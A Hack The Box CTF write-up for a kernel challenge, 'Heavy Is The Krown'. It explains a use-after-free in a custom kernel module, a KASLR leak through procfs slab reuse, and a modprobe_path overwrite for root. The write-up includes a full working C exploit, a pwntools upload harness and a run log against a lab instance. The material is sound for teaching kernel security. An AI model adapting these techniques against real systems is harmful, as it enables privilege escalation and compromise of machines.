HTB - Heavy Is The Krown

InsaneHackTheBox15 min read

Scenario

The Brine Signet lies shattered beneath the waves. Astrael has vanished into the upper storms. Only the Salt Crown remains -- heavy with the weight of a kingdom that drowns in its own blood. When the Seal broke, the Realm bled. The Cinderbound guard what remains. And the sea... the sea remembers everything.


Prerequisite Knowledge

To fully understand and solve this challenge, familiarity with the following concepts in Linux Kernel Exploitation is required:

  • Linux SLUB/Slab Allocator: The kernel subsystem responsible for allocating memory for objects of similar sizes (e.g., kmalloc-32, kmalloc-512). Understanding freelists and object reuse in SLUB memory pools is key to controlling heap layouts.
  • Use-After-Free (UAF): A memory corruption vulnerability occurring when a program continues to use a pointer after the memory it references has been deallocated. In the kernel, a UAF allows an attacker to manipulate overlapping data structures.
  • Kernel Address Space Layout Randomization (KASLR): A security mechanism that randomizes the base memory address of the kernel code and tables upon reboot to prevent hardcoded address exploitation.
  • procfs & seq_file Interfaces: Virtual files under /proc (like /proc/self/mountinfo) allocate dedicated kernel structures (such as seq_file or private mount iteration data) in specific kmalloc slabs when opened. These structures frequently contain function pointers within the kernel code text segment, making them ideal targets for defeating KASLR.
  • modprobe_path Exploitation Technique: An arbitrary write privilege elevation technique in Linux kernels. When the kernel encounters an executable file with an unrecognized binary format (unregistered magic bytes), it invokes a userland helper defined at the global kernel symbol modprobe_path (defaulting to /sbin/modprobe) with root privileges. Overwriting this string with an arbitrary shell script path yields arbitrary command execution as root.
  • Kernel Security Mitigations (SMEP / SMAP):
    • SMEP (Supervisor Mode Execution Protection): Prevents the CPU from executing user-space code while running in ring 0 (kernel mode).
    • SMAP (Supervisor Mode Access Prevention): Prevents ring 0 code from accessing user-space memory directly without explicit kernel accessor helpers (copy_from_user / copy_to_user).

Enumeration

File Structure

The challenge archive provides a standard Linux kernel exploitation testing environment:

text
├── bzImage             # Compressed Linux kernel image (vmlinuz)
├── initramfs.cpio.gz   # Root filesystem containing the target driver and init scripts
├── run.sh              # QEMU boot script
└── krown.ko            # The vulnerable custom kernel module

QEMU Boot Script (run.sh) Analysis

Examining run.sh highlights several active security mitigations and boot parameters:

bash
qemu-system-x86_64 \
    -m 256M \
    -kernel bzImage \
    -initrd initramfs.cpio.gz \
    -append "console=ttyS0 quiet kaslr smap smep kpti=1" \
    -nographic \
    -monitor /dev/null \
    -cpu qemu64,+smep,+smap \
    -s
  • Active Mitigations: kaslr, smep, smap, kpti=1 (Kernel Page Table Isolation).
  • Debug Interface: -s opens a GDB debugging stub on localhost:1234.
  • Serial Console: console=ttyS0 routes terminal input/output over serial, requiring base64 chunk uploading for binary deployment in remote exploits.

Init Script Analysis (initramfs)

Unpacking initramfs.cpio.gz reveals the initialization workflow in /init:

  1. The filesystem mounts essential pseudo-filesystems (/proc, /sys, /dev).
  2. The custom driver is loaded into the kernel: insmod /lib/modules/krown.ko.
  3. The device node is created: /dev/krown with read/write access (chmod 666 /dev/krown).
  4. A standard low-privilege shell is spawned for the user, while /flag.txt is owned by root:root with strict permissions (chmod 400).

Tools Used

During analysis, reverse engineering, and exploit deployment, the following standard command-line tools were utilized:

  • r2 (radare2) / objdump / nm: Used for disassembly, symbol reconstruction, and inspecting IOCTL dispatch handlers without requiring heavy IDEs like Ghidra or IDA Pro.
  • gdb (GNU Debugger): Attached via QEMU's -s flag to analyze real-time kernel memory layouts, examine slab allocators, and calculate offsets from leaked seq_file structures.
  • musl-gcc (x86_64-linux-musl-gcc): Extremely lightweight C compiler used to compile static, self-contained exploit binaries (-static -O2), minimizing overall binary size (~59KB after strip) for fast transmission over slow serial interfaces.
  • pwntools (Python): Orchestrates network interaction, automated chunked serial file transmission, payload deployment, and interactive shell handling.

Reverse Engineering & Code Analysis

By analyzing krown.ko using objdump and radare2, we reconstruct the functional characteristics of the module. The driver exposes a character device /dev/krown driven by an IOCTL handler.

Object Structures in Kernel Memory

The driver defines a feudalistic object management system in kernel memory based on two concepts: Lords and Vassals.

c
struct vassal_obj {
    uint32_t magic;         // 0x00: Type indicator (2 for Vassal)
    uint32_t id;            // 0x04: Identifier
    uint64_t cookie;        // 0x08: Random authorization cookie
    uint64_t data[62];      // 0x10: User-controlled data buffer
}; // Total size: 512 bytes -> Allocated in kmalloc-512 slab!

struct lord_obj {
    uint32_t magic;         // 0x00: Type indicator (1 for Lord)
    uint32_t id;            // 0x04: Identifier
    uint64_t cookie;        // 0x08: Random authorization cookie
    struct vassal_obj *ptr; // 0x10: Pointer to assigned primary object / Vassal
    struct vassal_obj *vassals[10]; // 0x18: Array of bound Vassals
    uint64_t padding[?];    // 0x68+: Additional tracking data
}; // Total size: 512 bytes -> Allocated in kmalloc-512 slab!
ℹ️

IMPORTANT

Both lord_obj and vassal_obj reside exactly inside the kmalloc-512 slab pool. Because both structures share the exact same allocator cache, freed Vassal slots can be directly reallocated as Lords or overlaid by standard Linux kernel subsystem structures of similar size!

IOCTL Command Dispatcher

The module supports five primary IOCTL commands:

  1. ALLOC_LORD (0x10): Calls kmalloc(512, GFP_KERNEL), initializes header metadata (magic = 1), assigns a unique ID, and returns the handle.
  2. ALLOC_VASSAL (0x20): Calls kmalloc(512, GFP_KERNEL), initializes header metadata (magic = 2), and prepares the buffer.
  3. BIND_VASSAL (0x30): Takes a Lord ID and a Vassal ID. Stores a direct pointer to the Vassal inside the Lord's tracking arrays (lord->vassals[idx] = vassal_ptr and lord->ptr = vassal_ptr).
  4. BREAK_OBJ (0x40): Destroys an object by ID by calling kfree(obj_ptr) and removing it from the global lookup dictionary.
  5. EXAMINE / IMPRESS / INSCRIBE (0x50, 0x60, 0x70): Read and write operations operating on bound Vassal structures via their Lord's tracking array or primary pointer..

Vulnerability Analysis

The Vulnerability: Unsanitized Reference Deletion (Use-After-Free)

When BREAK_OBJ is invoked on a Vassal that has previously been bound to a Lord via BIND_VASSAL, the driver looks up the Vassal in the global table, removes the dictionary entry, and immediately executes kfree(vassal).

c
// Pseudo-code of buggy release behavior
void break_object_handler(int id) {
    void *obj = lookup_global_id(id);
    remove_from_global_dictionary(id);
    kfree(obj); // VULNERABILITY: Does NOT clear pointers in Lord->vassals[] or Lord->ptr!
}

Why is it Vulnerable?

  1. Dangling Pointers: The Lord object remains completely unaffected by the breakage of the Vassal. The internal array lord->vassals[idx] continues pointing directly to the memory address of the freed chunk in the kmalloc-512 freelist.
  2. Unvalidated Accessors: When invoking subsequent read (EXAMINE) or write (IMPRESS / INSCRIBE) operations through the Lord, the driver follows the dangling pointer without verifying whether the underlying chunk is still an active Vassal.
  3. Slab Hijacking & Overlap: If the kernel re-allocates that freed chunk to satisfy a request from another kernel subsystem (e.g., opening a procfs file) or for another driver structure (e.g., allocating a second Lord), the attacker gains arbitrary read and write capabilities over whatever new data occupies that memory space!

Exploitation

To transition from a primitive Use-After-Free condition in kmalloc-512 to a stable root flag extraction, we employ a 3-stage exploitation pipeline:

Rendering diagram…

Stage 1: Defeating KASLR via Slab Hijacking

Because KASLR randomizes kernel memory addresses on boot, we cannot hardcode the target address of modprobe_path. We must defeat KASLR dynamically:

  1. Allocate Lord A and Vassal V, then bind Vassal V to Lord A.
  2. Free (break) Vassal V, leaving a dangling pointer in Lord A->vassals[0].
  3. Open various Linux kernel pseudo-files known to consume 512-byte structures upon opening, specifically /proc/self/mountinfo or /proc/self/mounts (which allocate internal iteration state and file operation tables inside kmalloc-512).
  4. Use Lord A to read (examine_obj) the contents of the memory pointed to by vassals[0].
  5. When /proc/self/mountinfo successfully reuses our chunk, reading word offset 0x18 (bytes 24–31) yields a consistent kernel text function pointer ending in 0x660 (or 0x2b0 for /proc/self/mounts).
  6. Subtracting the fixed static architectural offset (0x2da660) directly reveals kernel_base:
kernel_base=Leaked_Pointer0x2da660\text{kernel\_base} = \text{Leaked\_Pointer} - \text{0x2da660}
  1. We calculate the exact live location of modprobe_path:
modprobe_path=kernel_base+0x184b380\text{modprobe\_path} = \text{kernel\_base} + \text{0x184b380}

Stage 2: UAF Arbitrary Memory Write

Once we possess the absolute memory address of modprobe_path, we convert our UAF into an arbitrary write primitive:

  1. Allocate a new pair: Lord A and Vassal U, then bind them together.
  2. Free (break) Vassal U, pushing the chunk back to the head of the kmalloc-512 freelist while Lord A retains the dangling pointer.
  3. Immediately allocate Lord B. Because SLUB allocators operate on LIFO (Last-In-First-Out) principles, Lord B is allocated directly inside the freed memory slot of Vassal U!
  4. Now, Lord A->vassals[0] points directly to the memory defining Lord B.
  5. We invoke an overwrite (impress_obj) through Lord A->vassals[0] at byte offset 0x10, replacing Lord B->ptr (which normally expects a Vassal address) with the absolute memory address of modprobe_path (0xffffffff...).
  6. Finally, we perform a write (inscribe_obj) via Lord B. When the driver attempts to write data to Lord B->ptr, it writes our payload string—"/home/run.sh\x00"—directly into the kernel's modprobe_path variable!

Stage 3: Triggering Root Execution & Harvesting the Flag

With modprobe_path pointing to /home/run.sh, any unhandled executable type will instruct the Linux kernel to launch our script as root:

  1. Create a bash script at /home/run.sh containing:
    bash
    #!/bin/sh
    chmod 777 /flag*
    cp /flag* /home/flag_won.txt
    chmod 777 /home/flag_won.txt
  2. Make /home/run.sh executable (chmod +x).
  3. Create an invalid dummy binary /home/dummy containing bogus magic bytes (\xff\xff\xff\xff) and mark it executable.
  4. Execute /home/dummy. The kernel attempts to parse it, fails to recognize the ELF formatting, and immediately triggers /home/run.sh with ring-0 equivalent system privileges!
  5. Our exploit simply opens /home/flag_won.txt, prints the retrieved flag, and terminates cleanly.

Complete Solution Code

Static C Exploit (exploit.c)

This high-performance standalone C exploit implements all three exploitation stages:

c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <stdint.h>

#define KROWN_CMD_ALLOC_LORD    0x10
#define KROWN_CMD_ALLOC_VASSAL  0x20
#define KROWN_CMD_BIND_VASSAL   0x30
#define KROWN_CMD_BREAK_OBJ     0x40
#define KROWN_CMD_EXAMINE       0x50
#define KROWN_CMD_IMPRESS       0x60
#define KROWN_CMD_INSCRIBE      0x70

struct krown_arg {
    uint32_t id;
    uint32_t target_id;
    uint32_t offset;
    uint32_t len;
    void *user_buf;
};

struct leak_result {
    uint64_t kernel_ptr;
    uint32_t offset;
    const char *source_name;
};

int alloc_lord(int fd) {
    struct krown_arg arg = {0};
    if (ioctl(fd, KROWN_CMD_ALLOC_LORD, &arg) < 0) return -1;
    return arg.id;
}

int alloc_vassal(int fd) {
    struct krown_arg arg = {0};
    if (ioctl(fd, KROWN_CMD_ALLOC_VASSAL, &arg) < 0) return -1;
    return arg.id;
}

int bind_vassal(int fd, int lord_id, int vassal_id) {
    struct krown_arg arg = { .id = lord_id, .target_id = vassal_id };
    return ioctl(fd, KROWN_CMD_BIND_VASSAL, &arg);
}

int break_obj(int fd, int id) {
    struct krown_arg arg = { .id = id };
    return ioctl(fd, KROWN_CMD_BREAK_OBJ, &arg);
}

int examine_obj(int fd, int lord_id, int idx, uint32_t offset, uint32_t len, void *buf) {
    struct krown_arg arg = {
        .id = lord_id, .target_id = idx, .offset = offset, .len = len, .user_buf = buf
    };
    return ioctl(fd, KROWN_CMD_EXAMINE, &arg);
}

int impress_obj(int fd, int lord_id, int idx, uint32_t offset, uint32_t len, void *buf) {
    struct krown_arg arg = {
        .id = lord_id, .target_id = idx, .offset = offset, .len = len, .user_buf = buf
    };
    return ioctl(fd, KROWN_CMD_IMPRESS, &arg);
}

int inscribe_obj(int fd, int lord_id, uint32_t offset, uint32_t len, void *buf) {
    struct krown_arg arg = {
        .id = lord_id, .offset = offset, .len = len, .user_buf = buf
    };
    return ioctl(fd, KROWN_CMD_INSCRIBE, &arg);
}

void probe_all_candidates(int fd, struct leak_result *out) {
    const char *files[] = {
        "/proc/self/mountinfo", "/proc/self/mounts", "/proc/net/tcp",
        "/proc/net/udp", "/proc/vmallocinfo", "/proc/stat", NULL
    };

    printf("[*] Starting exhaustive probe for kmalloc-512 hijacking candidates...\n");
    for (int i = 0; files[i] != NULL; i++) {
        int lord = alloc_lord(fd);
        if (lord < 0) break;
        int v = alloc_vassal(fd);
        if (v < 0) { break_obj(fd, lord); break; }
        
        bind_vassal(fd, lord, v);
        break_obj(fd, v); // Freed back to kmalloc-512 freelist, dangling pointer in lord->vassals[0]
        
        int test_fd = open(files[i], O_RDONLY);
        if (test_fd >= 0) {
            uint64_t buf[64] = {0};
            examine_obj(fd, lord, 0, 0, 256, &buf[0]);
            examine_obj(fd, lord, 0, 256, 232, &buf[32]);
            
            uint64_t expected_w0 = ((2ULL << 32) | ((uint32_t)v));
            if (buf[0] != expected_w0 && buf[0] != 0) {
                printf("[+] HIT! '%s' hijacked the slab! [0x0]=0x%lx\n", files[i], buf[0]);
                for (int k = 0; k < 61; k++) {
                    uint64_t val = buf[k];
                    if (val >= 0xffffffff80000000ULL && val <= 0xffffffffff000000ULL) {
                        printf("    [%s + 0x%x] = 0x%lx\n", files[i], k * 8, val);
                        if (out->kernel_ptr == 0 && (k * 8 == 0x18) && 
                           ((val & 0xfffULL) == 0x660 || (val & 0xfffULL) == 0x2b0)) {
                            out->kernel_ptr = val;
                            out->offset = k * 8;
                            out->source_name = files[i];
                        }
                    }
                }
            }
            close(test_fd);
        }
        break_obj(fd, lord);
        if (out->kernel_ptr != 0) break;
    }
}

int main(int argc, char **argv) {
    printf("[*] Starting heavyisthekrown exploit v2...\n");
    int fd = open("/dev/krown", O_RDWR);
    if (fd < 0) { perror("[-] open /dev/krown"); return 1; }
    printf("[+] Opened /dev/krown successfully (fd = %d)\n", fd);

    uint64_t modprobe_path = 0;
    struct leak_result leak = {0};
    probe_all_candidates(fd, &leak);

    if (leak.kernel_ptr) {
        printf("[+] Best kernel pointer leak: 0x%lx from %s (offset 0x%x)\n", leak.kernel_ptr, leak.source_name, leak.offset);
        
        uint64_t kernel_base = 0;
        if ((leak.kernel_ptr & 0xfffULL) == 0x660) {
            kernel_base = leak.kernel_ptr - 0x2da660ULL; // /proc/self/mountinfo static offset
        } else if ((leak.kernel_ptr & 0xfffULL) == 0x2b0) {
            kernel_base = leak.kernel_ptr - 0x2da2b0ULL; // /proc/self/mounts static offset
        } else {
            kernel_base = (leak.kernel_ptr & ~0x1fffffULL) - 0x200000ULL;
        }
        
        modprobe_path = kernel_base + 0x184b380ULL;
        printf("[!] Calculated kernel_base: 0x%lx\n", kernel_base);
        printf("[!] Target modprobe_path:   0x%lx\n", modprobe_path);
    } else {
        printf("[-] No automatic leak found.\n");
        close(fd);
        return 0;
    }

    printf("[+] Ready to launch UAF write against modprobe_path @ 0x%lx\n", modprobe_path);

    // Step 2: Trigger UAF Arbitrary Write
    int lord_A = alloc_lord(fd);
    int vassal_U = alloc_vassal(fd);
    printf("[+] Allocated lord_A (id %d) and vassal_U (id %d)\n", lord_A, vassal_U);

    bind_vassal(fd, lord_A, vassal_U);
    break_obj(fd, vassal_U); // Leave dangling pointer in lord_A->vassals[0]
    printf("[+] Broke vassal_U (dangling pointer left in lord_A->vassals[0])\n");

    // Reallocate Lord B directly into the freed slab slot of vassal_U
    int lord_B = alloc_lord(fd);
    printf("[+] Allocated lord_B (id %d) into freed slab slot\n", lord_B);

    // Overwrite lord_B->ptr (offset 0x10) with modprobe_path address via dangling reference
    impress_obj(fd, lord_A, 0, 0x10, sizeof(modprobe_path), &modprobe_path);
    printf("[+] Overwrote lord_B->ptr with modprobe_path address 0x%lx\n", modprobe_path);

    // Write "/home/run.sh" directly to modprobe_path in kernel memory via inscribe!
    char new_modprobe[] = "/home/run.sh\x00";
    inscribe_obj(fd, lord_B, 0, sizeof(new_modprobe), new_modprobe);
    printf("[+] Successfully inscribed '%s' directly into kernel modprobe_path!\n", new_modprobe);

    // Step 3: Prepare trigger scripts and execute root command
    printf("[+] Creating trigger scripts in /home...\n");
    system("echo '#!/bin/sh' > /home/run.sh");
    system("echo 'chmod 777 /flag*' >> /home/run.sh");
    system("echo 'cp /flag* /home/flag_won.txt' >> /home/run.sh");
    system("echo 'chmod 777 /home/flag_won.txt' >> /home/run.sh");
    system("chmod +x /home/run.sh");

    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/dummy");
    system("chmod +x /home/dummy");

    printf("[+] Triggering modprobe via invalid executable /home/dummy...\n");
    system("/home/dummy");
    sleep(1);

    printf("[+] Checking for captured flag...\n");
    FILE *fp = fopen("/home/flag_won.txt", "r");
    if (!fp) fp = fopen("/flag", "r");
    if (!fp) fp = fopen("/flag.txt", "r");
    if (fp) {
        char flag[128] = {0};
        if (fgets(flag, sizeof(flag), fp)) {
            printf("\n=====================================\n");
            printf("SUCCESS! FLAG: %s\n", flag);
            printf("=====================================\n");
        }
        fclose(fp);
    } else {
        printf("[-] Flag file could not be opened.\n");
    }

    close(fd);
    return 0;
}

Python Deployment Harness (exploit.py)

This script compiles the C binary statically, encodes it into small base64 chunks for safe transmission across QEMU serial console limitations, decodes it remotely, and monitors output for the captured flag:

python
#!/usr/bin/env python3
import sys
import subprocess
import os
import base64
import time
from pwn import *

def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} IP:PORT")
        sys.exit(1)
        
    target = sys.argv[1]
    host, port = target.split(":", 1)
    io = remote(host, int(port))
        
    cwd = os.path.dirname(os.path.abspath(__file__)) or "."
    exploit_c = os.path.join(cwd, "exploit.c")
    exploit_bin = os.path.join(cwd, "exploit")
    
    print("[+] Compiling static C exploit with musl-gcc...")
    cmd = ["x86_64-linux-musl-gcc", "-O2", "-static", exploit_c, "-o", exploit_bin]
    res = subprocess.run(cmd, capture_output=True, text=True)
    if res.returncode != 0:
        print(f"[-] Compilation failed:\n{res.stderr}")
        sys.exit(1)
        
    subprocess.run(["strip", exploit_bin])
    with open(exploit_bin, "rb") as f:
        payload = f.read()
        
    print(f"[+] Exploit compiled and stripped. Payload size: {len(payload)} bytes")
    b64_payload = base64.b64encode(payload).decode()
    
    print("[+] Waiting for target console to stabilize...")
    time.sleep(2)
    io.clean()
    
    io.sendline(b"cd /home && rm -f exp exp.b64 run.sh dummy flag.txt flag_won.txt")
    time.sleep(0.5)
    io.clean()
    
    print("[+] Uploading binary via base64 over serial line...")
    chunk_size = 400
    for i in range(0, len(b64_payload), chunk_size):
        chunk = b64_payload[i:i+chunk_size]
        io.sendline(f"echo -n '{chunk}' >> /home/exp.b64".encode())
        if (i // chunk_size) % 10 == 0:
            print(f"    Uploaded {i}/{len(b64_payload)} bytes...")
        time.sleep(0.05)
        
    print("[+] Decoding binary on target VM...")
    io.sendline(b"base64 -d /home/exp.b64 > /home/exp && chmod +x /home/exp")
    time.sleep(1)
    io.clean()
    
    print("[+] Executing: /home/exp ...")
    io.sendline(b"/home/exp")
    
    print("[+] Monitoring output:")
    try:
        while True:
            line = io.recvline(timeout=10)
            if not line: break
            line_str = line.decode(errors="replace").rstrip()
            print("   ", line_str)
            if "SUCCESS! FLAG:" in line_str or "HTB{" in line_str:
                print("\n[+] FLAG SECURED!")
                break
    except KeyboardInterrupt:
        pass
        
    print("[+] Switching to interactive mode...")
    io.interactive()

if __name__ == "__main__":
    main()

Final Verification & Flag Capture

Running the solver against the challenge instance produces the following terminal output:

text
$ python3 exploit.py 154.57.164.75:32088
[+] Opening connection to 154.57.164.75 on port 32088: Done
[+] Compiling static C exploit with musl-gcc...
[+] Exploit compiled and stripped. Payload size: 59016 bytes
[+] Waiting for target console to stabilize...
[+] Uploading binary via base64 over serial line...
    Uploaded 0/78688 bytes...
    Uploaded 40000/78688 bytes...
    Uploaded 76000/78688 bytes...
[+] Decoding binary on target VM...
[+] Executing: /home/exp ...
[+] Monitoring output:
    [*] Starting heavyisthekrown exploit v2...
    [+] Opened /dev/krown successfully (fd = 3)
    [*] Starting exhaustive probe for kmalloc-512 hijacking candidates...
    [+] HIT! '/proc/self/mountinfo' hijacked the slab! [0x0]=0xffff932cc1049500
        [/proc/self/mountinfo + 0x18] = 0xffffffffbc8da660
    [+] Best kernel pointer leak: 0xffffffffbc8da660 from /proc/self/mountinfo (offset 0x18)
    [!] Calculated kernel_base: 0xffffffffbc600000
    [!] Target modprobe_path:   0xffffffffbde4b380
    [+] Ready to launch UAF write against modprobe_path @ 0xffffffffbde4b380
    [+] Allocated lord_A (id 0) and vassal_U (id 1)
    [+] Broke vassal_U (dangling pointer left in lord_A->vassals[0])
    [+] Allocated lord_B (id 1) into freed slab slot
    [+] Overwrote lord_B->ptr with modprobe_path address 0xffffffffbde4b380
    [+] Successfully inscribed '/home/run.sh' directly into kernel modprobe_path!
    [+] Creating trigger scripts in /home...
    [+] Triggering modprobe via invalid executable /home/dummy...
    /home/dummy: line 1: : not found
    [+] Checking for captured flag...
    
    =====================================
    SUCCESS! FLAG: HTB{[REDACTED]}
    =====================================

[+] FLAG SECURED!
[+] Switching to interactive mode...
[*] Switching to interactive mode

Conclusion

Heavy Is The Krown showcases how a single unchecked Use-After-Free in a custom kernel module can be escalated into a full ring‑0 compromise, even in the presence of KASLR, SMEP, SMAP, and KPTI. By turning dangling lord–vassal pointers into slab hijacking, leaking a kernel text address, and precisely overwriting modprobe_path to execute a controlled helper script, we reliably pivot from a constrained /dev/krown interface to root code execution and capture the flag.